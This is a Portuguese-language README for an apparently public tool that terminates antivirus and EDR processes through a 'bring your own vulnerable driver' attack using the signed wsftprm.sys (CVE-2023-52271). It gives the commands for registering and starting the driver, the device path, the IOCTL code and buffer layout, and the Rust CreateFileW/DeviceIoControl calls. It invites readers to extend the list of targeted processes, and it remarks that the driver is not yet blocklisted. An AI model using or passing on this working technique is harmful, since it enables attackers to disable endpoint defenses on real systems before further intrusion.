
Terminação de processos de AV/EDR explorando um driver vulnerável (BYOVD)
https://github.com/user-attachments/assets/1eda3340-2af2-4136-b74e-be7a3f4b3924
Este projeto demonstra como um driver legítimo e assinado pode ser armado para obter acesso ao nível de kernel.
wsftprm.sys , assinado por TPZ SOLUCOES DIGITAIS LTDA, e previamente exposto a uma vulnerabilidade de escalada de privilégio local divulgada publicamente como CVE-2023-52271, mas de alguma forma ainda NÃO está na lista de bloqueio de drivers da Microsoft!! 🤫🤫
A vulnerabilidade é acionada através do código IOCTL 0x22201C com um buffer de 1036 bytes, onde os primeiros 4 bytes contêm o ID do processo alvo como um DWORD. O driver vulnerável, ao receber esse IOCTL malicioso através de DeviceIoControl, invoca a função importada ZwTerminateProcess, concedendo a qualquer aplicação em modo de usuário capacidades de término de processo no nível de kernel.
Qualquer ator de ameaça sensato naturalmente priorizará essa capacidade para terminar processos críticos de Antivírus (AV) e Detecção e Resposta de Ponto Final (EDR).
Execute cmd.exe com privilégios de Administrador e registre um serviço de driver de kernel com tipo "kernel" e binPath apontando para a localização do driver vulnerável.
> sc create MalDriver binPath= <caminho> type= Kernel`
> sc start MalDriver
Uma vez carregado, o driver cria um link simbólico acessível em modo de usuário como \.\Warsaw_PM. O qual podemos usar para obter um handle para o dispositivo do driver usando a chamada de API CreateFileW.
> CreateFileW(device_name.as_ptr(), GENERIC_READ | GENERIC_WRITE, 0, ptr::null_mut(), OPEN_EXISTING, 0, ptr::null_mut())
Para enviar os IOCTLs maliciosos, usaremos DeviceIoControl com código 0x22201C e um buffer contendo um PID nos seus primeiros 4 bytes.
> DeviceIoControl(self.hDriver, 0x22201C, buffer.as_mut_ptr() as LPVOID, buffer.len() as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
Cargo build --release para gerar o binário.
Você pode adicionar processos adicionais à lista de alvos para término.
Você é responsável por garantir que possui a devida autorização antes de usar esta ferramenta. O autor não assume nenhuma responsabilidade por uso indevido.
Contribuições e sugestões são bem-vindas! Se você tem ideias, melhorias ou gostaria de colaborar, fique à vontade para entrar em contato em: [email protected]